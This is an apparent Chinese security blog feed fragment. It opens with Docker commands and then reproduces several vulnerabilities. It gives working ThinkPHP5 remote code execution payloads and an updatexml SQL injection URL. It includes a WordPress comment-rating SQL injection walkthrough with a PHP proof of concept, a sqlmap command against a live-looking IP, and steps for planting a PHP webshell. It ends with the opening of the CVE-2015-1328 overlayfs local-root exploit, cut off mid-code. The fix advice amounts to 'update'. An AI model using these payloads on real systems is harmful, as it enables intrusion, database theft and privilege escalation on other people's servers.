class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker image 镜像名:标签</span><br></pre></td></tr></table></figure><p>4.下载镜像</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker pull 用户名/镜像名</span><br></pre></td></tr></table></figure><h3 id="docker端口映射"><a href="#docker端口映射" class="headerlink" title="docker端口映射"></a>docker端口映射</h3><h4 id="端口映射"><a href="#端口映射" class="headerlink" title="端口映射"></a>端口映射</h4><p>-d:设置容器在在后台一直运行</p><p>-p:设置端口映射,格式为本地端口:docker容器端口</p><p>-c:执行系统命令,这个文件是我本地写好的自动化脚本用来打开HTTP服务</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker run -d -p 80:80 centos:httpd /bin/bash -c /usr/local/bin/start.sh</span><br></pre></td></tr></table></figure><p><img src="http://ww1.sinaimg.cn/large/0078beR7ly1g36zg8qh9yj30h605qmxa.jpg" alt=""></p><p>注:当前使用的docker实例运行的网络模式相当于VMware中的NAT模式</p><h4 id="查看正在运行的容器"><a href="#查看正在运行的容器" class="headerlink" title="查看正在运行的容器"></a>查看正在运行的容器</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@localhost ~]# docker ps</span><br></pre></td></tr></table></figure><h4 id="访问容器实例"><a href="#访问容器实例" class="headerlink" title="访问容器实例"></a>访问容器实例</h4><p>docker exec -it  <docker id|name=""> /bin/bash</docker></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker exec -it  centos:httpd /bin/bash</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="运维技术" scheme="https://louisnie.github.io/categories/%E8%BF%90%E7%BB%B4%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="docker" scheme="https://louisnie.github.io/tags/docker/"/>
    
  </entry>
  
  <entry>
    <title>Thinkphp5漏洞总结</title>
    <link href="https://louisnie.github.io/2019/03/13/thinkphp5%E7%89%88%E6%9C%AC%E6%BC%8F%E6%B4%9E/"/>
    <id>https://louisnie.github.io/2019/03/13/thinkphp5版本漏洞/</id>
    <published>2019-03-13T08:45:28.000Z</published>
    <updated>2019-07-03T08:00:03.488Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><blockquote class="blockquote-center">人生是个圆，有的人走了一辈子也没有走出命运画出的圆圈，其实，圆上的每一个点都有一条腾飞的切线。</blockquote><div align="middle"><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="86" src="//music.163.com/outchain/player?type=2&id=194405&auto=1&height=66"></iframe></div><h1 id="ThinkPHP5-5-0-22-5-1-29-远程代码执行漏洞"><a href="#ThinkPHP5-5-0-22-5-1-29-远程代码执行漏洞" class="headerlink" title="ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞"></a>ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞</h1><h2 id="漏洞描述"><a href="#漏洞描述" class="headerlink" title="漏洞描述"></a>漏洞描述</h2><p>ThinkPHP是一款运用极广的PHP开发框架。其版本5中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。</p><h2 id="漏洞等级"><a href="#漏洞等级" class="headerlink" title="漏洞等级"></a>漏洞等级</h2><p>高级</p><h2 id="漏洞危害"><a href="#漏洞危害" class="headerlink" title="漏洞危害"></a>漏洞危害</h2><p>远程代码执行</p><h2 id="漏洞检测方法"><a href="#漏洞检测方法" class="headerlink" title="漏洞检测方法"></a>漏洞检测方法</h2><p>利用POC去试验是否存在该漏洞</p><h2 id="漏洞利用方法"><a href="#漏洞利用方法" class="headerlink" title="漏洞利用方法"></a>漏洞利用方法</h2><p>启动docker环境:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose up -d</span><br></pre></td></tr></table></figure><p><img src="http://ww1.sinaimg.cn/large/0078beR7ly1g0zd9tfx20j30o30njab8.jpg" alt=""></p><p>然后修改URL中的参数,构造POC,成功执行命令</p><p><img src="http://ww1.sinaimg.cn/large/0078beR7ly1g0ze9m9nofj31710olmyw.jpg" alt=""></p><p>发送的数据包为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=phpinfo&amp;vars[1][]=-1`</span><br></pre></td></tr></table></figure><p>也可以执行其他命令,只需替换vars[0]的值即可</p><h2 id="漏洞修复方案"><a href="#漏洞修复方案" class="headerlink" title="漏洞修复方案:"></a>漏洞修复方案:</h2><p>1,及时去thinkphp官网修补漏洞</p><p>2,更新到最新版</p><h1 id="ThinkPHP5-5-0-23-远程代码执行漏洞"><a href="#ThinkPHP5-5-0-23-远程代码执行漏洞" class="headerlink" title="ThinkPHP5 5.0.23 远程代码执行漏洞"></a>ThinkPHP5 5.0.23 远程代码执行漏洞</h1><h2 id="漏洞描述-1"><a href="#漏洞描述-1" class="headerlink" title="漏洞描述"></a>漏洞描述</h2><p>ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，在获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。</p><h2 id="漏洞等级-1"><a href="#漏洞等级-1" class="headerlink" title="漏洞等级"></a>漏洞等级</h2><p>高级</p><h2 id="漏洞危害-1"><a href="#漏洞危害-1" class="headerlink" title="漏洞危害"></a>漏洞危害</h2><p>远程代码执行</p><h2 id="漏洞检测方法-1"><a href="#漏洞检测方法-1" class="headerlink" title="漏洞检测方法"></a>漏洞检测方法</h2><p>利用POC去试验是否存在该漏洞</p><h2 id="漏洞利用方法-1"><a href="#漏洞利用方法-1" class="headerlink" title="漏洞利用方法"></a>漏洞利用方法</h2><p>启动docker环境:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose up -d</span><br></pre></td></tr></table></figure><p><img src="http://ww1.sinaimg.cn/large/0078beR7ly1g0zd9tfx20j30o30njab8.jpg" alt=""></p><p>然后刷新页面,构造POC,成功执行命令</p><p><img src="http://ww1.sinaimg.cn/large/0078beR7ly1g0zd4qm4p3j30vr0g6q4a.jpg" alt=""></p><p>发送的数据包为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">POST /index.php?s=captcha HTTP/1.1</span><br><span class="line">Host: 192.168.136.128:8080</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">DNT: 1</span><br><span class="line">Connection: close</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 72</span><br><span class="line"></span><br><span class="line">_method=__construct&amp;filter[]=system&amp;method=get&amp;server[REQUEST_METHOD]=id</span><br></pre></td></tr></table></figure><p>也可以执行其他命令,只需替换server[REQUEST_METHOD]的值即可</p><h2 id="漏洞修复方案-1"><a href="#漏洞修复方案-1" class="headerlink" title="漏洞修复方案:"></a>漏洞修复方案:</h2><p>1,及时去thinkphp官网修补漏洞</p><p>2,更新到最新版</p><h1 id="ThinkPHP5版本-SQL注入漏洞和敏感信息泄露漏洞"><a href="#ThinkPHP5版本-SQL注入漏洞和敏感信息泄露漏洞" class="headerlink" title="ThinkPHP5版本 SQL注入漏洞和敏感信息泄露漏洞"></a>ThinkPHP5版本 SQL注入漏洞和敏感信息泄露漏洞</h1><h2 id="漏洞描述-2"><a href="#漏洞描述-2" class="headerlink" title="漏洞描述"></a>漏洞描述</h2><p>ThinkPHP5版本存在一个鸡肋的SQL注入漏洞,可以获取到当前用户和密码以及数据库名等信息,详情参考:<a href=""><a href="https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html" target="_blank" rel="noopener">https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html</a></a></p><h2 id="漏洞等级-2"><a href="#漏洞等级-2" class="headerlink" title="漏洞等级"></a>漏洞等级</h2><p>低危</p><h2 id="漏洞危害-2"><a href="#漏洞危害-2" class="headerlink" title="漏洞危害"></a>漏洞危害</h2><p>获取到数据库配置信息(用户名,密码,数据库名,主机名)</p><h2 id="漏洞检测方法-2"><a href="#漏洞检测方法-2" class="headerlink" title="漏洞检测方法"></a>漏洞检测方法</h2><p>利用POC去试验是否存在该漏洞</p><h2 id="漏洞利用方法-2"><a href="#漏洞利用方法-2" class="headerlink" title="漏洞利用方法"></a>漏洞利用方法</h2><p>启动docker环境:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose up -d</span><br></pre></td></tr></table></figure><p>如果出现以下错误:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ERROR: Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers)</span><br></pre></td></tr></table></figure><p>那么需要去修改<code>/etc/resolv.conf</code>修改为:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">nameserver 8.8.8.8</span><br><span class="line">nameserver 8.8.4.4</span><br><span class="line">nameserver 10.0.0.10</span><br></pre></td></tr></table></figure><p>访问以下URL进入网站,出现用户名表示成功访问:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://Your-Ip/index.php?ids[]=1&amp;ids[]=2</span><br></pre></td></tr></table></figure><p><img src="http://ww1.sinaimg.cn/large/0078beR7ly1g0zerz57y4j30i00fojro.jpg" alt=""></p><p>然后使用xpath报错的方法去构造POC,成功执行命令</p><p>请求的URL为:</p><p><a href="http://192.168.136.128/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1" target="_blank" rel="noopener">http://192.168.136.128/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://your-ip:8080/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1</span><br></pre></td></tr></table></figure><p><img src="http://ww1.sinaimg.cn/large/0078beR7ly1g0zf2z9v1ej30og0kf3zk.jpg" alt=""></p><h2 id="漏洞修复方案-2"><a href="#漏洞修复方案-2" class="headerlink" title="漏洞修复方案:"></a>漏洞修复方案:</h2><p>1,及时去thinkphp官网修补漏洞</p><p>2,更新到最新版</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="中间件漏洞" scheme="https://louisnie.github.io/categories/%E4%B8%AD%E9%97%B4%E4%BB%B6%E6%BC%8F%E6%B4%9E/"/>
    
    
      <category term="漏洞复现" scheme="https://louisnie.github.io/tags/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
    
  </entry>
  
  <entry>
    <title>WordPress插件注入漏洞</title>
    <link href="https://louisnie.github.io/2019/03/05/wordpress%E6%8F%92%E4%BB%B6%E6%BC%8F%E6%B4%9E/"/>
    <id>https://louisnie.github.io/2019/03/05/wordpress插件漏洞/</id>
    <published>2019-03-04T18:40:28.000Z</published>
    <updated>2019-07-03T08:00:18.142Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><blockquote class="blockquote-center">最具挑战性的挑战莫过于提升自我。——迈克尔·F·斯特利</blockquote><div align="middle"><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="86" src="//music.163.com/outchain/player?type=2&id=526668900&auto=1&height=66"></iframe></div><h2 id="漏洞名称："><a href="#漏洞名称：" class="headerlink" title="漏洞名称："></a>漏洞名称：</h2><p>WordPress Plugin Comment Rating 2.9.32 SQL注入漏洞</p><h2 id="漏洞描述："><a href="#漏洞描述：" class="headerlink" title="漏洞描述："></a>漏洞描述：</h2><p>wordpress中的comment-rating2.9.32插件中的ck-processkarma.php文件存在HTTP_X_FORWARDED_FOR header inject  Vulnerability</p><h2 id="漏洞等级"><a href="#漏洞等级" class="headerlink" title="漏洞等级"></a>漏洞等级</h2><p>高级</p><h2 id="漏洞检测方法："><a href="#漏洞检测方法：" class="headerlink" title="漏洞检测方法："></a>漏洞检测方法：</h2><p>wpscan扫描</p><h2 id="漏洞利用方法："><a href="#漏洞利用方法：" class="headerlink" title="漏洞利用方法："></a>漏洞利用方法：</h2><ol><li>浏览网页，发现是WordPress网站</li></ol><p><img src="http://ww1.sinaimg.cn/large/0078beR7ly1g0s7xhpvnsj30xm0dfjrg.jpg" alt=""></p><p>2.使用wpscan进行扫描</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wpscan -u &quot;http://219.153.49.228:48606/&quot; --enumerate vp</span><br></pre></td></tr></table></figure><p>得出comment-rating插件存在SQL注入漏洞</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">+] Name: comment-rating - v2.9.32</span><br><span class="line"> |  Location: http://219.153.49.228:48606/wp-content/plugins/comment-rating/</span><br><span class="line"> |  Readme: http://219.153.49.228:48606/wp-content/plugins/comment-rating/readme.txt</span><br><span class="line">[!] Directory listing is enabled: http://219.153.49.228:48606/wp-content/plugins/comment-rating/</span><br><span class="line"></span><br><span class="line">[!] Title: Comment Rating 2.9.32 - Security Bypass Weakness &amp; SQL Injection</span><br><span class="line">    Reference: https://wpvulndb.com/vulnerabilities/6428</span><br><span class="line">    Reference: http://packetstormsecurity.com/files/120569/</span><br><span class="line">    Reference: https://secunia.com/advisories/52348/</span><br><span class="line">    Reference: https://www.exploit-db.com/exploits/24552/</span><br></pre></td></tr></table></figure><p>3.查看 <a href="https://www.exploit-db.com/exploits/24552/，" target="_blank" rel="noopener">https://www.exploit-db.com/exploits/24552/，</a> 根据其介绍的知是HTTP_X_FORWARDED_FOR header注入漏洞。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">Vulnerable Code: /wp-content/plugins/comment-rating/ck-processkarma.php</span><br><span class="line"></span><br><span class="line">First take the IP from HTTP_X_FORWARDED_FOR header.</span><br><span class="line">-----------------------------------------------------------------------</span><br><span class="line">48         $ip = getenv(&quot;HTTP_X_FORWARDED_FOR&quot;) ? getenv(&quot;HTTP_X_FORWARDED_FOR&quot;) : getenv(&quot;REMOTE_ADDR&quot;);</span><br><span class="line">49         if(strstr($row[&apos;ck_ips&apos;], $ip)) &#123;</span><br><span class="line">50            // die(&apos;error|You have already voted on this item!&apos;); </span><br><span class="line">51            // Just don&apos;t count duplicated votes</span><br><span class="line">52            $duplicated = 1;</span><br><span class="line">53            $ck_ips = $row[&apos;ck_ips&apos;];</span><br><span class="line">54         &#125;</span><br><span class="line"></span><br><span class="line">Later made a UPDATE without filter the input.</span><br><span class="line">------------------------------------------------------------------------</span><br><span class="line">77         $query = &quot;UPDATE `$table_name` SET ck_rating_$direction = &apos;$rating&apos;, ck_ips = &apos;&quot; . $ck_ips  . &quot;&apos; WHERE ck_comment_id = $k_id&quot;;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">So let&apos;s take a look in the DB</span><br><span class="line"></span><br><span class="line">mysql&gt; select * from wp_comment_rating;</span><br><span class="line">+---------------+----------------+--------------+----------------+</span><br><span class="line">| ck_comment_id | ck_ips         | ck_rating_up | ck_rating_down |</span><br><span class="line">+---------------+----------------+--------------+----------------+</span><br><span class="line">|             2 | ,20.209.10.130 |            1 |              0 |</span><br><span class="line">|             3 |                |            0 |              0 |</span><br><span class="line">+---------------+----------------+--------------+----------------+</span><br><span class="line">2 rows in set (0.00 sec)</span><br></pre></td></tr></table></figure><p>4.EDB提供的POC，但我本地尝试运行这个POC并未成功，所以构造语句，使用sqlmap进行查询</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">&lt;?PHP</span><br><span class="line"></span><br><span class="line">define(&apos;HOST&apos;,&apos;http://localhost/wordpress/&apos;);</span><br><span class="line">define(&apos;IDCOMMENT&apos;,2);</span><br><span class="line">$url=parse_url(HOST);</span><br><span class="line">define(&apos;URL&apos;,$url[&apos;path&apos;].&apos;wp-content/plugins/comment-rating/ck-processkarma.php?id=&apos;.IDCOMMENT.&apos;&amp;action=add&amp;path=a&amp;imgIndex=1_14_&apos;);</span><br><span class="line">for($i=0;$i&lt;1;$i++) lvlup();</span><br><span class="line"></span><br><span class="line">function lvlup()&#123;</span><br><span class="line">global $url;</span><br><span class="line">$header = &quot;GET &quot;.URL.&quot; HTTP/1.1 \r\n&quot;;</span><br><span class="line">$header.= &quot;Host: &quot;.$url[&apos;host&apos;].&quot;\r\n&quot;;</span><br><span class="line">$header.= &quot;Accept-Encoding: gzip, deflate \r\n&quot;;</span><br><span class="line">$header.= &quot;X-Forwarded-For: &quot;.long2ip(rand(0, &quot;4294967295&quot;)).&quot;\r\n&quot;;</span><br><span class="line">$header.= &quot;Connection: close \r\n\r\n&quot;;</span><br><span class="line">$socket  = socket_create(AF_INET, SOCK_STREAM,  SOL_TCP);</span><br><span class="line">socket_connect($socket,$url[&apos;host&apos;], 80);</span><br><span class="line">socket_write($socket, $header);</span><br><span class="line">socket_close($socket);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>5.查询语句为：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sqlmap &quot;http://219.153.49.228:40602/wp-content/plugins/comment-rating/ck-processkarma.php?id=1&amp;action=add&amp;path=a&amp;imgIndex=1_14_&quot;  -f</span><br></pre></td></tr></table></figure><p>然后查出库名，表名，列名，字段名，这个很简单，我就不多说啦。</p><p>6，然后登陆账号，在插件中添加PHP一句话木马，记得开启插件功能</p><p><img src="http://ww1.sinaimg.cn/large/0078beR7ly1g0s8b9y4qyj30tk0fcdgw.jpg" alt=""></p><p>7，菜刀连接木马即可获取shell.</p><h2 id="漏洞修复方案："><a href="#漏洞修复方案：" class="headerlink" title="漏洞修复方案："></a>漏洞修复方案：</h2><p>及时更新插件</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla
      
    
    </summary>
    
      <category term="中间件漏洞" scheme="https://louisnie.github.io/categories/%E4%B8%AD%E9%97%B4%E4%BB%B6%E6%BC%8F%E6%B4%9E/"/>
    
    
      <category term="漏洞复现" scheme="https://louisnie.github.io/tags/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
    
  </entry>
  
  <entry>
    <title>Ubuntu本地提权漏洞复现</title>
    <link href="https://louisnie.github.io/2019/03/03/Ubuntu%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83/"/>
    <id>https://louisnie.github.io/2019/03/03/Ubuntu本地提权/</id>
    <published>2019-03-03T15:56:28.000Z</published>
    <updated>2019-03-13T13:17:49.765Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><blockquote class="blockquote-center">知人者智，自知者明。胜人者有力，自胜者强。 ——老子</blockquote><div align="middle"><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="86" src="//music.163.com/outchain/player?type=2&id=451113132&auto=1&height=66"></iframe></div><h1 id="Ubuntu本地提权漏洞（CVE-2015-1328）"><a href="#Ubuntu本地提权漏洞（CVE-2015-1328）" class="headerlink" title="Ubuntu本地提权漏洞（CVE-2015-1328）"></a>Ubuntu本地提权漏洞（CVE-2015-1328）</h1><h2 id="漏洞原理："><a href="#漏洞原理：" class="headerlink" title="漏洞原理："></a>漏洞原理：</h2><p>这个漏洞是因为在Ubuntu到15.04 之前的3.19.0-21.21 的linux（又名Linux内核）包中的overlayfs实现没有正确检查上层文件系统目录中的文件创建权限，这允许本地用户通过利用其中的配置来获取root访问权限。<br>任意mount命名空间中都允许使用overlayfs。当在用户命名空间内使用overlayfs 挂载时，一名安全从业者Philip Pettersson发现了权限升级漏洞，本地用户即可利用此漏洞获取系统的管理权限。</p><p>报告中是这样说的：</p><blockquote><p>“当在上层文件系统目录中创建新文件时，overlayfs文件系统未能正确检查此文件的权限。而这一缺陷则可以被内核中没有权限的进程所利用，只要满足该进程CONFIG_USER_NS=y及overlayfs所拥有得FS_USERNS_MOUNT标志，即允许挂载非特权挂载空间的overlayfs。而这一条件是Ubuntu 12.04、14.04、14.10和15.04版本中的默认配置，所以这些版本的Ubuntu系统都受此漏洞影响。<br>ovl_copy_up_ <em>函数未能正确检查用户是否有权限向upperdir目录写入文件。而该函数唯一检查的是被修改文件的拥有者是否拥有向upperdir目录写入文件的权限。此外，当从lowerdir目录复制一个文件时，同时也就复制了文件元数据，而并非文件属性，例如文件拥有者被修改为了触发copy_up_</em>程序的用户。”</p></blockquote><h2 id="影响版本："><a href="#影响版本：" class="headerlink" title="影响版本："></a>影响版本：</h2><ul><li>Ubuntu Linux 15.04</li><li>Ubuntu Linux 14.10</li><li>Ubuntu Linux 14.04</li><li>Ubuntu Linux 12.04</li></ul><h2 id="漏洞复现："><a href="#漏洞复现：" class="headerlink" title="漏洞复现："></a>漏洞复现：</h2><p>将下面POC代码存放到本地的一个文件内，也可以去EDB网站下载<a href=""><a href="https://www.exploit-db.com/exploits/37292/" target="_blank" rel="noopener">https://www.exploit-db.com/exploits/37292/</a></a>。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br></pre></td><td class="code"><pre><span class="line">/*</span><br><span class="line"># Exploit Title: ofs.c - overlayfs local root in ubuntu</span><br><span class="line"># Date: 2015-06-15</span><br><span class="line"># Exploit Author: rebel</span><br><span class="line"># Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)</span><br><span class="line"># Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04</span><br><span class="line"># CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)</span><br><span class="line"></span><br><span class="line">*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*</span><br><span class="line">CVE-2015-1328 / ofs.c</span><br><span class="line">overlayfs incorrect permission handling + FS_USERNS_MOUNT</span><br><span class="line"></span><br><span class="line">user@ubuntu-server-1504:~$ uname -a</span><br><span class="line">Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux</span><br><span class="line">user@ubuntu-server-1504:~$ gcc ofs.c -o ofs</span><br><span class="line">user@ubuntu-server-1504:~$ id</span><br><span class="line">uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)</span><br><span class="line">user@ubuntu-server-1504:~$ ./ofs</span><br><span class="line">spawning threads</span><br><span class="line">mount #1</span><br><span class="line">mount #2</span><br><span class="line">child threads done</span><br><span class="line">/etc/ld.so.preload created</span><br><span class="line">creating shared library</span><br><span class="line"># id</span><br><span class="line">uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)</span><br><span class="line"></span><br><span class="line">greets to beist &amp; kaliman</span><br><span class="line">2015-05-24</span><br><span class="line">%rebel%</span><br><span 